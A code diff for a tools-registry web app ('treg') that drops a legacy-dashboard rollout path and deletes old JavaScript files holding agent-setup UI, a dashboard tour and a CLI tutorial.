"$set": {"dashboard_variant": variant, "dashboard_bucket": bucket},
|
||||
})
|
||||
|
||||
|
||||
def _dashboard_index(user: User | None = None) -> Path:
|
||||
new = _new_dashboard(user)
|
||||
if user is not None:
|
||||
_record_dashboard_served(user, new)
|
||||
if not new:
|
||||
return _WEB_DIR / "dashboard-legacy" / "index.html"
|
||||
return _new_dashboard_index()
|
||||
|
||||
|
||||
def _new_dashboard_index() -> Path:
|
||||
"""The new frontend's index, whoever asks: the rollout decision is `_dashboard_index`'s."""
|
||||
def _dashboard_index() -> Path:
|
||||
"""The compiled Dashboard's index. Local frontend development swaps in Vite's source entry."""
|
||||
settings = get_settings()
|
||||
if settings.frontend_dev:
|
||||
host = urlsplit(settings.public_url).hostname
|
||||
@@ -312,7 +259,7 @@ def _page(title: str, description: str, path: str, body: str, ld: list[dict],
|
||||
|
||||
|
||||
def _spa_catalog_page(title: str, description: str, path: str, ld: list[dict],
|
||||
prerender: str, user: User | None = None, *, index: Path | None = None) -> HTMLResponse:
|
||||
prerender: str) -> HTMLResponse:
|
||||
"""Serve the dashboard SPA at a PUBLIC catalog URL, with the head a crawler needs.
|
||||
|
||||
The public catalog is not a second implementation of the marketplace — it IS the marketplace.
|
||||
@@ -333,7 +280,7 @@ def _spa_catalog_page(title: str, description: str, path: str, ld: list[dict],
|
||||
implementation this design avoids. It carries the TEXT (names, summaries, providers, prices),
|
||||
which is what a crawler that does not run scripts is here for.
|
||||
"""
|
||||
index = index or _dashboard_index(user)
|
||||
index = _dashboard_index()
|
||||
if not index.exists():
|
||||
return HTMLResponse("<h3>tools-registry API. Dashboard not bundled.</h3>")
|
||||
base = get_settings().public_url.rstrip("/")
|
||||
@@ -406,7 +353,7 @@ _PRERENDER_CSS = """<style>
|
||||
|
||||
|
||||
@app.get("/catalog", include_in_schema=False)
|
||||
async def catalog_index(treg_session: str = Cookie(default=""), db: AsyncSession = Depends(get_session)):
|
||||
async def catalog_index():
|
||||
"""The catalog index — the marketplace's Catalog view, on a public, indexable URL."""
|
||||
base = get_settings().public_url.rstrip("/")
|
||||
rows = _platform_rows()
|
||||
@@ -476,18 +423,12 @@ async def catalog_index(treg_session: str = Cookie(default=""), db: AsyncSession
|
||||
f"Tool catalog — {total_eps:,} API endpoints your agent can call | treg",
|
||||
f"Browse {total_eps:,} endpoints across {len(rows)} platforms and {len(providers)} providers "
|
||||
"— SEO, social, enrichment, ads and scraping data. One key, priced per call, no provider signup.",
|
||||
"/catalog", ld, prerender, await _user_from_session(treg_session, db))
|
||||
"/catalog", ld, prerender)
|
||||
|
||||
|
||||
@app.get("/search", include_in_schema=False)
|
||||
async def search_page():
|
||||
"""Find tools by describing the job: the new frontend's public find view over `/catalog/find`.
|
||||
|
||||
Only the new frontend has this page, so it is served to every visitor while the rollout is
|
||||
enabled (anonymous included), with no per-user rollout check, and is absent when the rollout
|
||||
switch forces legacy."""
|
||||
if not get_settings().dashboard_rollout_enabled:
|
||||
raise HTTPException(status_code=404, detail="not found")
|
||||
"""Find tools by describing the job: the Dashboard's public find view over `/catalog/find`."""
|
||||
rows = _platform_rows()
|
||||
# Until the page's script runs, a visitor sees the page's own ground and nothing else: a
|
||||
# different first screen that swaps out would read as a loading step. The words are for readers
|
||||
@@ -502,11 +443,11 @@ async def search_page():
|
||||
"Find tools for your agent | treg",
|
||||
"Describe the job in plain words and see which tools in the treg catalog can do it, "
|
||||
"priced per call, callable through one key.",
|
||||
"/search", [], prerender, index=_new_dashboard_index())
|
||||
"/search", [], prerender)
|
||||
|
||||
|
||||
@app.get("/catalog/{slug}", include_in_schema=False)
|
||||
async def catalog_page(slug: str, treg_session: str = Cookie(default=""), db: AsyncSession = Depends(get_session)):
|
||||
async def catalog_page(slug: str):
|
||||
"""One platform shelf — the marketplace's platform view, on a public, indexable URL."""
|
||||
if slug in _CATALOG_RESERVED:
|
||||
raise HTTPException(status_code=404, detail=f"unknown platform {slug!r}")
|
||||
@@ -573,7 +514,7 @@ async def catalog_page(slug: str, treg_session: str = Cookie(default=""), db: As
|
||||
# "{platform} api pricing" is the non-brand phrasing that reaches the site (GSC), so the shelf
|
||||
# title leads with it; the brand is treg.to and the copy carries no em-dash.
|
||||
return _spa_catalog_page(f"{label} API pricing: {len(eps)} endpoints priced per call | treg.to",
|
||||
desc[:300], f"/catalog/{slug}", ld, prerender, await _user_from_session(treg_session, db))
|
||||
desc[:300], f"/catalog/{slug}", ld, prerender)
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- /agents/<agent>
|
||||
@@ -2881,11 +2822,6 @@ def _dashboard_asset(directory: Path, name: str) -> FileResponse:
|
||||
return FileResponse(asset, headers={"Cache-Control": "public, max-age=31536000, immutable"})
|
||||
|
||||
|
||||
@app.get("/app/legacy/assets/{path:path}", include_in_schema=False)
|
||||
async def legacy_dashboard_asset(path: str):
|
||||
return _dashboard_asset(_WEB_DIR / "dashboard-legacy" / "assets", path)
|
||||
|
||||
|
||||
@app.get("/app/ui/assets/{name}", include_in_schema=False)
|
||||
async def dashboard_asset(name: str):
|
||||
return _dashboard_asset(_WEB_DIR / "dashboard" / "assets", name)
|
||||
@@ -2914,7 +2850,7 @@ async def dashboard(
|
||||
if signed_in and (resume := _resume_parked_authorization(request)) is not None:
|
||||
return resume
|
||||
owner = await _local_owner(db) if not signed_in else None
|
||||
index = _dashboard_index(signed_in or owner)
|
||||
index = _dashboard_index()
|
||||
if not index.exists():
|
||||
raise HTTPException(503, "Dashboard not bundled")
|
||||
resp = HTMLResponse(_dashboard_document(index), headers={"Cache-Control": "private, no-store", "Vary": "Cookie"})
|
||||
@@ -2926,11 +2862,11 @@ async def dashboard(
|
||||
return resp
|
||||
|
||||
|
||||
def _spa_with_og(kind: str, name: str, user: User | None = None):
|
||||
def _spa_with_og(kind: str, name: str):
|
||||
"""Serve the SPA at a shareable detail path (/app/skills/x, /app/tools/x) with per-resource
|
||||
og/twitter meta so link unfurls show what was shared. The meta echoes only the URL's own
|
||||
name segment. Session lookup selects the frontend but never exposes resource contents."""
|
||||
index = _dashboard_index(user)
|
||||
name segment and never exposes resource contents."""
|
||||
index = _dashboard_index()
|
||||
if not index.exists():
|
||||
return HTMLResponse("<h3>tools-registry API. Dashboard not bundled.</h3>")
|
||||
label = "skill" if kind == "skills" else "tool"
|
||||
@@ -2974,13 +2910,13 @@ async def dashboard_marketplace(
|
||||
|
||||
|
||||
@app.get("/app/skills/{name}", include_in_schema=False)
|
||||
async def dashboard_skill_page(name: str, treg_session: str = Cookie(default=""), db: AsyncSession = Depends(get_session)):
|
||||
return _spa_with_og("skills", name, await _user_from_session(treg_session, db))
|
||||
async def dashboard_skill_page(name: str):
|
||||
return _spa_with_og("skills", name)
|
||||
|
||||
|
||||
@app.get("/app/tools/{name}", include_in_schema=False)
|
||||
async def dashboard_tool_page(name: str, treg_session: str = Cookie(default=""), db: AsyncSession = Depends(get_session)):
|
||||
return _spa_with_og("tools", name, await _user_from_session(treg_session, db))
|
||||
async def dashboard_tool_page(name: str):
|
||||
return _spa_with_og("tools", name)
|
||||
|
||||
|
||||
@app.get("/llms.txt", include_in_schema=False)
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
# Deprecated Dashboard: temporary rollback artifact
|
||||
|
||||
**DEPRECATED. Scheduled for removal after rollout, not a maintained frontend.**
|
||||
All new features and routine fixes belong in `frontend/`; do not backport them here or refresh
|
||||
this snapshot during normal main-branch syncs. If a critical security or compatibility problem
|
||||
requires changing the fallback, explicitly reassess the rollout before regenerating the snapshot.
|
||||
Retirement criteria and the removal checklist live in [frontend/README.md](../../../../frontend/README.md#retire-the-deprecated-dashboard).
|
||||
|
||||
Snapshot of the dashboard and onboarding/tutorial JavaScript from `81e84d6e19e3b54f7b591d1ea45e99c8c7a4560a`.
|
||||
Generated with `git show <revision>:src/treg/web/<path>` (dashboard-tour maps to tour).
|
||||
Vue's global runtime and license are generated from the pinned npm package by
|
||||
`frontend/scripts/copy-runtime.mjs`; its bytes match the snapshot version. It is not checked in.
|
||||
Script URLs are rewritten to `/app/legacy/assets/<revision>/<path>`; inline code is unchanged.
|
||||
Do not hand-edit this snapshot. New frontend work belongs in `frontend/`.
|
||||
Shared images, fonts and tutorial content retain existing public URLs. Tracking scripts retain
|
||||
their server-rendered routes so runtime analytics configuration and advertising opt-out still apply. Legacy CSS is inline;
|
||||
it does not load the redesigned dashboard stylesheet. Remove this directory after rollout.
|
||||
-89
@@ -1,89 +0,0 @@
|
||||
/* Shared by the dashboard welcome flow and Enrich Arena. No credentials are stored here. */
|
||||
(function(global){
|
||||
const agents=[
|
||||
{id:'openclaw',name:'OpenClaw',icon:'openclaw-color'},
|
||||
{id:'grokbot',name:'Grok Bot',icon:'/logos/agents/grokbot.png',plugin:'https://x.ai/bot/plugin/55647425'},
|
||||
{id:'hermes',name:'Hermes Agent',icon:'hermesagent'},
|
||||
{id:'claudeai',name:'Claude.ai',icon:'claude-color'},
|
||||
{id:'claude-code',name:'Claude Code',icon:'claudecode-color'},
|
||||
{id:'codex',name:'Codex',icon:'codex-color'},
|
||||
];
|
||||
const moreAgents=[
|
||||
{id:'opencode',name:'opencode',icon:'opencode'},
|
||||
{id:'pi',name:'pi',icon:'pi'},
|
||||
{id:'cursor',name:'Cursor',icon:'cursor'},
|
||||
{id:'gemini-cli',name:'Gemini CLI',icon:'gemini-color'},
|
||||
{id:'other',name:'Other',icon:null},
|
||||
];
|
||||
const iconUrl=(icon,theme='light')=>icon?.startsWith('/')?icon:icon?'https://unpkg.com/@lobehub/icons-static-png@latest/'+theme+'/'+icon+'.png':'';
|
||||
const command=base=>'set up treg — '+base.replace(/\/$/,'')+'/llms.txt';
|
||||
function setupText(command,team,token,masked=false){
|
||||
if(!team&&!token)return command;
|
||||
const value=token?(masked?token.slice(0,14)+'••••••••••••••••':token):'<YOUR_TOKEN>';
|
||||
return command+'\n\nwith team '+(team||'<team-slug>')+' token: '+value;
|
||||
}
|
||||
const AgentPicker={
|
||||
props:{modelValue:String,icon:{type:Function,default:iconUrl}},emits:['update:modelValue'],data:()=>({moreOpen:false}),
|
||||
computed:{agents:()=>agents,moreAgents:()=>moreAgents,moreSelected(){return moreAgents.find(a=>a.id===this.modelValue);}},
|
||||
methods:{pick(id){this.$emit('update:modelValue',id);this.moreOpen=false;}},
|
||||
template:`<div><div class="agent-grid">
|
||||
<button v-for="a in agents" :key="a.id" type="button" class="agent-card" :class="{on:modelValue===a.id}" :aria-pressed="modelValue===a.id" @click="pick(a.id)"><img :src="icon(a.icon)" alt="" @error="$event.target.style.visibility='hidden'"><span>{{a.name}}</span></button>
|
||||
<button type="button" class="agent-card" :class="{on:moreOpen||moreSelected}" :aria-expanded="moreOpen" @click="moreOpen=!moreOpen"><span aria-hidden="true">☰</span><span>{{moreSelected&&!moreOpen?moreSelected.name:'More'}}</span><span aria-hidden="true" style="margin-left:auto">▾</span></button>
|
||||
</div><div v-if="moreOpen" class="agent-grid" style="margin-top:10px">
|
||||
<button v-for="a in moreAgents" :key="a.id" type="button" class="agent-card" :class="{on:modelValue===a.id}" :aria-pressed="modelValue===a.id" @click="pick(a.id)"><img v-if="a.icon" :src="icon(a.icon)" alt="" @error="$event.target.style.visibility='hidden'"><span v-else aria-hidden="true">✳</span><span>{{a.name}}</span></button>
|
||||
</div></div>`
|
||||
};
|
||||
const SetupInstructions={
|
||||
props:{agent:Object,icon:{type:Function,default:iconUrl},command:String,team:String,token:String,showToken:Boolean,copied:Boolean,copyDisabled:Boolean},
|
||||
emits:['copy','toggle-token','plugin'],
|
||||
computed:{full(){return setupText(this.command,this.team,this.token);},masked(){return setupText(this.command,this.team,this.token,!this.showToken);}},
|
||||
template:`<div class="agent-setup-instructions">
|
||||
<p class="sub" style="display:flex;align-items:center;gap:8px;margin:0 0 16px"><img v-if="agent.icon" :src="icon(agent.icon)" alt="" style="width:18px;height:18px" @error="$event.target.style.visibility='hidden'">Setting up treg for <b style="color:var(--ink)">{{agent.name}}</b></p>
|
||||
<template v-if="agent.plugin"><h2 style="margin:0 0 10px;font-size:19px">1. Install the treg plugin</h2><a class="btn" :href="agent.plugin" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:8px;margin-bottom:18px" @click="$emit('plugin')"><img :src="icon(agent.icon)" alt="" style="width:16px;height:16px">Install plugin in {{agent.name}} ↗</a></template>
|
||||
<h2 style="margin:0 0 14px;font-size:19px">{{agent.plugin ? "2. In your Bot's chat, send:" : "In your agent's chat, send:"}}</h2>
|
||||
<div class="lc-codewrap"><button class="lc-cp" type="button" :disabled="copyDisabled" @click="$emit('copy',full)">{{copied?'✓ copied':'Copy'}}</button><pre style="white-space:pre-wrap;overflow-wrap:anywhere">{{masked}}</pre></div>
|
||||
<button v-if="token" class="text-button" type="button" style="font-size:12px;margin-top:6px" @click="$emit('toggle-token')">{{showToken?'Hide':'Show'}} key</button>
|
||||
<p class="sub" style="font-size:12px;margin:12px 0 0">{{team&&token ? (agent.plugin?'Your Bot reads that file and signs in with your team & token — then it can call every tool in the catalog.':'Your agent reads that file and signs in with your team & token — it installs the CLI and starts calling tools.') : 'Your agent reads that file, installs the CLI and guides you through signing in.'}}</p>
|
||||
</div>`
|
||||
};
|
||||
// `prompt` is what the copy button puts on the clipboard; `show` is the shorter line on the card.
|
||||
// Order follows how often each card is copied and how many teams call the underlying tools.
|
||||
const examples=[
|
||||
{k:'trend',cat:'Trending videos pattern', logo:'tiktok', prompt:'Use treg to pull today\'s trending TikTok videos (video links included)'},
|
||||
{k:'enr', cat:'Get contact emails', logo:'people', avatar:'https://pbs.twimg.com/profile_images/1131851609774985216/OcsssQ9J_400x400.png', prompt:'Use treg to find the work email of Peter Steinberger'},
|
||||
{k:'ugc', cat:'Make UGC videos', logo:'seedance', show:'Use treg to make AI UGC videos for my product, from trending hooks to finished clips',
|
||||
prompt:'Read '+location.origin+'/skills/ugc/SKILL.md and follow it with treg to make UGC videos for my product: pull the trending TikTok and Instagram videos in my vertical, extract the hook patterns, create a character with the same vibe as a presenter I pick, generate 3-5 talking-head hook clips on Seedance 2.5, and add captions. Ask me for the product and vertical first.'},
|
||||
{k:'soc', cat:'Scrape linkedin', logo:'linkedin',prompt:'Use treg to look up linkedin.com/in/jasonzhoudesign'},
|
||||
{k:'posts',cat:'LinkedIn posts', logo:'linkedin',prompt:'Use treg to pull the latest LinkedIn posts from linkedin.com/in/jasonzhoudesign and summarise what they talk about'},
|
||||
{k:'serp', cat:'Keyword volume', logo:'google', prompt:'Use treg to pull real monthly search volume and top related keywords worth targeting for my business'},
|
||||
];
|
||||
const oauthGroups=[
|
||||
{label:'Post on social', items:[{s:'x',n:'X (Twitter)'},{s:'youtube',n:'YouTube'},{s:'tiktok',n:'TikTok'},{s:'linkedin',n:'LinkedIn'},{s:'facebook',n:'Facebook Pages'},{s:'instagram',n:'Instagram'}],
|
||||
soon:[]},
|
||||
{label:'Manage ad campaigns', items:[{s:'google-ads',n:'Google Ads'},{s:'meta-ads',n:'Meta Ads'}], soon:[]},
|
||||
{label:'SEO on your own site',items:[{s:'google-analytics',n:'Google Analytics'},{s:'google-search-console',n:'Search Console'},{s:'google-business-profile',n:'Business Profile'}], soon:[]},
|
||||
];
|
||||
const TryItOut={
|
||||
props:{copied:String,headingId:String},emits:['example','provider'],
|
||||
computed:{examples:()=>examples,oauthGroups:()=>oauthGroups},
|
||||
template:`<div>
|
||||
<h2 :id="headingId" style="margin:0 0 6px;font-size:19px">Try it out</h2>
|
||||
<div class="wc-wait" style="margin:0 0 16px"><span class="wc-waitdot"></span>Waiting for your agent — copy an example below and send it to get your first result.</div>
|
||||
<div class="try-grid">
|
||||
<button v-for="ex in examples" :key="ex.k" type="button" class="try-card" @click="$emit('example',ex)">
|
||||
<span class="try-cat"><span style="display:inline-flex;align-items:center;gap:7px"><img class="try-ico" :src="'/logos/platforms/'+ex.logo+'.svg'" alt=""/><img v-if="ex.avatar" class="try-ico avatar" :src="ex.avatar" alt=""/>{{ex.cat}}</span><span class="try-copy" :class="{done:copied===ex.k}">{{copied===ex.k ? '✓ copied' : '⧉ copy'}}</span></span>
|
||||
<span class="try-txt">{{ex.show||ex.prompt}}</span>
|
||||
</button>
|
||||
</div>
|
||||
<div class="oauth-div"><span>also connect OAuth to unlock new agent capabilities</span></div>
|
||||
<div v-for="g in oauthGroups" :key="g.label" style="margin-top:12px">
|
||||
<div class="oauth-grp">{{g.label}}</div>
|
||||
<div style="display:flex;flex-wrap:wrap;gap:8px;align-items:center">
|
||||
<button v-for="p in g.items" :key="p.s" type="button" class="prov-chip" @click="$emit('provider',p.s,g.label)"><img :src="'/logos/'+p.s+'.svg'" alt=""/>{{p.n}}</button>
|
||||
<span v-if="g.soon.length" class="soon-note" :data-tip="g.soon.map(p=>p.n).join(', ')">{{g.soon.length}} coming soon</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>`
|
||||
};
|
||||
global.TregAgentSetup={agents,moreAgents,iconUrl,command,setupText,AgentPicker,SetupInstructions,examples,oauthGroups,TryItOut};
|
||||
})(globalThis);
|
||||
-81
@@ -1,81 +0,0 @@
|
||||
/* Dashboard-tour data — one source for both the standalone page (tour/index.html) and the
|
||||
* native in-dashboard view (web/index.html). window.TREG_TOUR.steps = [{part,who,img,title,explain,notice}].
|
||||
* Images live beside this file at ./img/<img> (served at /dashboard-tour/img/<img>). */
|
||||
(function () {
|
||||
window.TREG_TOUR = {
|
||||
personas: { tom:"Tom · owner", bob:"Bob · member→admin", alice:"Alice · viewer", sys:"sign-in" },
|
||||
colors: ["--accent","--green","--amber","--teal","--red"], // one mat colour per Part, cycled
|
||||
steps: [
|
||||
{ part:"Sign in", who:"sys", img:"01-signin.webp", title:"Three ways in",
|
||||
explain:"The sign-in screen offers three separate doors — pick <b>one</b>: <b>Continue with GitHub</b> (real OAuth), <b>Email me a sign-in code</b> (works for any email), or the collapsible <b>paste an org token</b> (for agents & the CLI).",
|
||||
notice:"This tour uses the email-code door. In production the code is <b>emailed</b> to you (via Resend); the screenshots here were captured in dev mode, where the code is shown on the page instead." },
|
||||
{ part:"Sign in", who:"sys", img:"02-email-code.webp", title:"The email code",
|
||||
explain:"Type your email and click <b>Email me a sign-in code</b>. <b>Check your inbox</b> for the 6-digit code, paste it into the field, and <b>Sign in</b>. First sign-in also registers you. <span class=\"muted\">(In this dev-mode screenshot the code shows inline as <code>dev code 619565</code>; in production it arrives by email instead.)</span>",
|
||||
notice:"Check your email, enter the code, Sign in. A brand-new email creates the user + a personal org — no separate sign-up." },
|
||||
{ part:"Sign in", who:"tom", img:"03-dashboard-empty.webp", title:"Your dashboard",
|
||||
explain:"You land on your <b>active org</b>. A fresh account has a personal org and no tools. The header carries the org switcher, a theme toggle, your avatar and Sign out; the left nav has Tools, Organizations, Activity, and Tutorial.",
|
||||
notice:"Everything is scoped to the active org shown in the header — switch it anytime from the org menu." },
|
||||
|
||||
{ part:"Build a team", who:"tom", img:"04-create-team.webp", title:"Create a team",
|
||||
explain:"Your personal org is just yours. Click <b>+ New team</b> and name it — you become its <b>owner</b> and it becomes active. Teams are where you share tools.",
|
||||
notice:"Personal orgs are made automatically on sign-in; teams are always created explicitly." },
|
||||
{ part:"Build a team", who:"tom", img:"05-manage-panel.webp", title:"You're the owner",
|
||||
explain:"On the <b>Organizations</b> page your active team gets a <b>Manage</b> panel: members, invites, and a danger zone. Right now it's just you.",
|
||||
notice:"The Manage panel only shows for teams (not your personal org); its member/invite tools appear for admins and owners." },
|
||||
|
||||
{ part:"Bring people in", who:"tom", img:"06-invite.webp", title:"Invite a teammate",
|
||||
explain:"Enter a teammate's email, pick a role (viewer / member / admin), and <b>Invite</b>. treg mints a <b>one-time code</b> shown inline (with a copy button). They can also accept it code-free — the invite is tied to their email.",
|
||||
notice:"Below, <b>Pending invites</b> lists everything outstanding; <b>Revoke</b> kills a code before it's used." },
|
||||
{ part:"Bring people in", who:"bob", img:"08-invite-banner.webp", title:"Accept via banner",
|
||||
explain:"When the invited person signs in, the invite shows up as a <b>banner</b> at the top — one click on <b>Accept</b> and they're in. No code to copy or paste.",
|
||||
notice:"Invites attach to your email, so proving that email (any door) is enough to accept — the code is just an out-of-band shortcut." },
|
||||
{ part:"Bring people in", who:"alice", img:"17-join-by-code.webp", title:"…or join by code",
|
||||
explain:"If someone handed you a code out-of-band, open <b>⤷ Join by code</b> on the Organizations page and paste it. It must match your email.",
|
||||
notice:"Two doors into a team: the automatic banner, or a pasted code — same result." },
|
||||
|
||||
{ part:"Register resources", who:"bob", img:"09-secrets.webp", title:"Add a secret",
|
||||
explain:"A <b>member</b> (or higher) can register. Open the <b>⚿ Secrets</b> panel and add a credential — a name, its value, and a kind. The value is encrypted server-side and never shown again.",
|
||||
notice:"Secrets are the credentials your tools inject. Viewers don't see this panel at all." },
|
||||
{ part:"Register resources", who:"bob", img:"10-add-tool.webp", title:"Register a tool",
|
||||
explain:"Click <b>+ Add tool</b>. A tool is an upstream <b>base URL</b> plus a <b>binding</b> — pick the secret, where it goes (header or query param), the field name, and a format like <code>Bearer {secret}</code>.",
|
||||
notice:"<code>{secret}</code> is replaced with the real credential at call time — the caller never holds it." },
|
||||
{ part:"Register resources", who:"bob", img:"11-multi-binding.webp", title:"Multi-credential tools",
|
||||
explain:"Some upstreams need more than one credential per request. Click <b>+ binding</b> to add another row — every binding is applied on each call (e.g. an OAuth bearer <i>and</i> a developer-token header).",
|
||||
notice:"Same builder; one tool can carry any number of bindings." },
|
||||
{ part:"Register resources", who:"bob", img:"12-edit-tool.webp", title:"Edit a tool",
|
||||
explain:"The ✎ button on a tool card reopens the builder pre-filled, so you can change the base URL or add/remove bindings. Saving sends a PATCH — the tool's name stays fixed.",
|
||||
notice:"Delete is the ✕ on the card (inline confirm); a secret still bound by a tool is protected from deletion." },
|
||||
{ part:"Register resources", who:"bob", img:"13-skill.webp", title:"Register a skill (bundle)",
|
||||
explain:"A <b>skill</b> = a recipe + its secrets + its tool(s), registered atomically as a <b>bundle</b>. Click <b>+ Skill</b> and paste the payload (secret values go inline here; the CLI's <code>treg.json</code> loads them from files instead).",
|
||||
notice:"Bindings reference a secret by its <code>local_name</code>; the JSON is validated before it's sent." },
|
||||
{ part:"Register resources", who:"bob", img:"14-tools-list.webp", title:"Your tools",
|
||||
explain:"Registered tools appear as cards — upstream host, injectors in play, owner, and a health badge. From each card you can Copy a snippet, Try it live, edit, or delete.",
|
||||
notice:"Ownership is kept for audit, but everyone in the org can see and call every tool." },
|
||||
|
||||
{ part:"Use tools", who:"alice", img:"15-try-it.webp", title:"Try it — key injected",
|
||||
explain:"Open <b>Try it</b> on any tool, type the upstream path, and Send. The call runs through the proxy with the credential injected server-side — the response shows <code>authorization: Bearer …</code> even though you never sent a key.",
|
||||
notice:"This is the whole product: call the real API through treg, and the secret is added on the server. Even a <b>viewer</b> can do this." },
|
||||
{ part:"Use tools", who:"alice", img:"16-copy.webp", title:"Copy a snippet",
|
||||
explain:"Prefer to call from code? <b>Copy for…</b> gives a ready snippet for Claude Code, the CLI, Python, Node, or cURL — all pointed at the proxy with your token, no key inlined.",
|
||||
notice:"The snippet uses the public proxy domain, so it's shareable as-is." },
|
||||
|
||||
{ part:"Roles", who:"alice", img:"18-viewer-tools.webp", title:"The viewer role",
|
||||
explain:"Signed in as a <b>viewer</b>, Alice sees the tools and can <b>Copy</b> and <b>Try it</b> — but the register controls (Secrets, + Skill, + Add tool) and the Manage panel are simply gone. Use without the ability to change credentials.",
|
||||
notice:"Roles: owner > admin > member > viewer. The UI hides what your role can't do; the server enforces it too." },
|
||||
{ part:"Roles", who:"tom", img:"20-danger-zone.webp", title:"Manage the team",
|
||||
explain:"Back as the owner, the Manage panel now lists everyone. Owners change roles from the dropdown, admins can <b>Remove</b> members, and the <b>danger zone</b> has Leave (with a last-owner guard) and Delete (type the name to confirm).",
|
||||
notice:"Destructive actions use inline confirmations — no surprise clicks." },
|
||||
|
||||
{ part:"Super-admin", who:"tom", img:"22-admin-users.webp", title:"Platform control",
|
||||
explain:"A super-admin gets an <b>Admin</b> nav with cross-tenant reach: platform stats, every org (suspend / delete), and every user (grant/revoke super-admin, suspend, delete). Your own row is guarded so you can't lock yourself out.",
|
||||
notice:"The Admin nav only appears for super-admins; everyone else never sees it." },
|
||||
|
||||
{ part:"Wrap up", who:"tom", img:"23-activity.webp", title:"Activity — the audit log",
|
||||
explain:"<b>Activity</b> lists every call made through the proxy in this org — who called what, when, and the status. Even when someone uses a teammate's key, the ledger records the real caller.",
|
||||
notice:"Accountability without sharing secrets: that's the point of the proxy." },
|
||||
{ part:"Wrap up", who:"tom", img:"24-help-tutorial.webp", title:"The in-app tutorial",
|
||||
explain:"Under <b>Help → Tutorial</b>, the dashboard ships the full interactive CLI walkthrough too — so the terminal and the browser are always documented in the same place.",
|
||||
notice:"That's the whole UI: sign in → build a team → invite → register → call → administer → tear down. 🏁" },
|
||||
],
|
||||
};
|
||||
})();
|
||||
-558
@@ -1,558 +0,0 @@
|
||||
/* tools-registry - the interactive tutorial, as data.
|
||||
*
|
||||
* SINGLE SOURCE OF TRUTH for the walkthrough. Both the in-dashboard Help view
|
||||
* (src/treg/web/index.html) and the standalone page (docs/tutorial.html) render
|
||||
* from `window.TREG_TUTORIAL` and highlight with `window.tregHL`, so they never drift.
|
||||
*
|
||||
* Each step: { part, who, title, explain, cmd, out, notice }.
|
||||
* who ∈ tom | bob | alice | sys | ops (drives the persona chip + colour)
|
||||
* Commands are copy-and-run. We simulate three people on one machine with an
|
||||
* isolated HOME per persona; a real user is on their own laptop and drops the HOME= prefix.
|
||||
*/
|
||||
(function () {
|
||||
const PERSONAS = {
|
||||
tom: { label: "Tom · owner", cls: "tom" },
|
||||
bob: { label: "Bob · member→admin", cls: "bob" },
|
||||
alice: { label: "Alice · viewer", cls: "alice" },
|
||||
sys: { label: "setup", cls: "sys" },
|
||||
ops: { label: "platform operator", cls: "ops" },
|
||||
you: { label: "you · member", cls: "you" },
|
||||
sam: { label: "Sam · restricted member", cls: "sam" },
|
||||
};
|
||||
|
||||
const CONCEPTS = [
|
||||
{ h: "Email is your identity",
|
||||
p: "You <b>are</b> a verified email. Three doors prove it - GitHub, an emailed <b>one-time code</b>, or an <b>invite code</b>. First proof registers you; every proof after is a login. No separate sign-up." },
|
||||
{ h: "The proxy = a bank teller",
|
||||
p: "You call the real upstream API <i>through</i> the registry. It swaps your tool reference for the real secret and injects it server-side. The key never lands on your machine; your token authorises the call." },
|
||||
{ h: "A token = a (you, org) pair",
|
||||
p: "A <b>User</b> is an identity; an <b>Org</b> is a team that owns resources; a <b>Membership</b> links them with a role. Your <b>identity token</b> works across every org you belong to - <code>org use</code> picks the active one." },
|
||||
{ h: "Invites attach to an email",
|
||||
p: "An owner/admin invites an <b>email</b>. Prove that email (any door) and the invite is yours to accept - no code needed. The code is a fast out-of-band shortcut, not a requirement." },
|
||||
{ h: "Tool & skill",
|
||||
p: "A <b>tool</b> = an upstream <code>base_url</code> + a list of credential <b>bindings</b> (a request may carry several). A <b>skill / bundle</b> = a recipe (SKILL.md) + its secrets + its tool(s), registered from a folder via <code>treg.json</code>." },
|
||||
{ h: "Import",
|
||||
p: "<code>treg upload</code> is the bulk on-ramp: it scans a <code>.env</code> (matching ~80 providers) and/or a folder of skills, and registers everything you pick in one pass - building a <code>treg.json</code> for any skill that lacks one. Preview first with <code>treg scan</code> (read-only); idempotent, so re-run freely. <code>treg skill install</code> is the reverse: pull a shared skill onto your machine." },
|
||||
{ h: "Two ways to use a tool",
|
||||
p: "<code>treg call</code> proxies an HTTP <b>API</b> - the secret is injected server-side and nothing lands on your machine. <code>treg run</code> runs a vendor <b>command-line tool</b> (stripe, gh, gcloud…) with the credential injected, so you use the CLI without owning it or logging in. Two tiers: <code>--local</code> (default; runs on your machine - on Linux the key is isolated under a dedicated <code>treg-run</code> user) and <code>--server</code> (runs on the registry server, so the key never reaches you). The owner opts each tool in first; <code>treg runs</code> is the audit log." },
|
||||
];
|
||||
|
||||
const ROLES = {
|
||||
cols: ["viewer", "member", "admin", "owner"],
|
||||
rows: [
|
||||
["call tools, read inventory", [1, 1, 1, 1]],
|
||||
["register secrets / tools / skills", [0, 1, 1, 1]],
|
||||
["edit / delete own resources", [0, 1, 1, 1]],
|
||||
["edit / delete any resource in org", [0, 0, 1, 1]],
|
||||
["invite / remove members", [0, 0, 1, 1]],
|
||||
["change roles, delete org", [0, 0, 0, 1]],
|
||||
],
|
||||
};
|
||||
|
||||
const STEPS = [
|
||||
// ---- Setup ------------------------------------------------------------
|
||||
{ part: "Setup", who: "sys", title: "Simulate three people on one machine",
|
||||
explain: "We play three users on one laptop by giving each its own <code>HOME</code>, so each gets an isolated <code>~/.treg/config.json</code> pointed at the registry. In real life every person is on their own machine and drops the <code>HOME=</code> prefix.",
|
||||
cmd: `for u in tom bob alice; do\n mkdir -p ~/.treg-personas/$u\n HOME=~/.treg-personas/$u treg config --base-url https://treg.to\ndone`,
|
||||
out: `# each persona now points at the registry`,
|
||||
notice: "Prefix any command with <code>HOME=~/.treg-personas/<name></code> to act as that person." },
|
||||
|
||||
// ---- Part 1 - the catalog (before any team machinery) -----------------
|
||||
// Deliberately FIRST: everything below this needs a team, a secret and a registered tool before
|
||||
// anything happens. The catalog needs none of them, so it is the shortest path from "installed"
|
||||
// to "got real data" — and it is what the product now leads with.
|
||||
{ part: "Part 1 · The catalog (no key, no setup)", who: "tom", title: "Find a tool by what it DOES",
|
||||
explain: "Tom has just installed the CLI. He has no team, no keys, nothing registered — and he can already work. He does not need to know which vendor sells backlink data; he searches by the <b>job</b>. Each hit shows what it costs, so nothing is a surprise.",
|
||||
cmd: `treg catalog search "backlinks for a domain"`,
|
||||
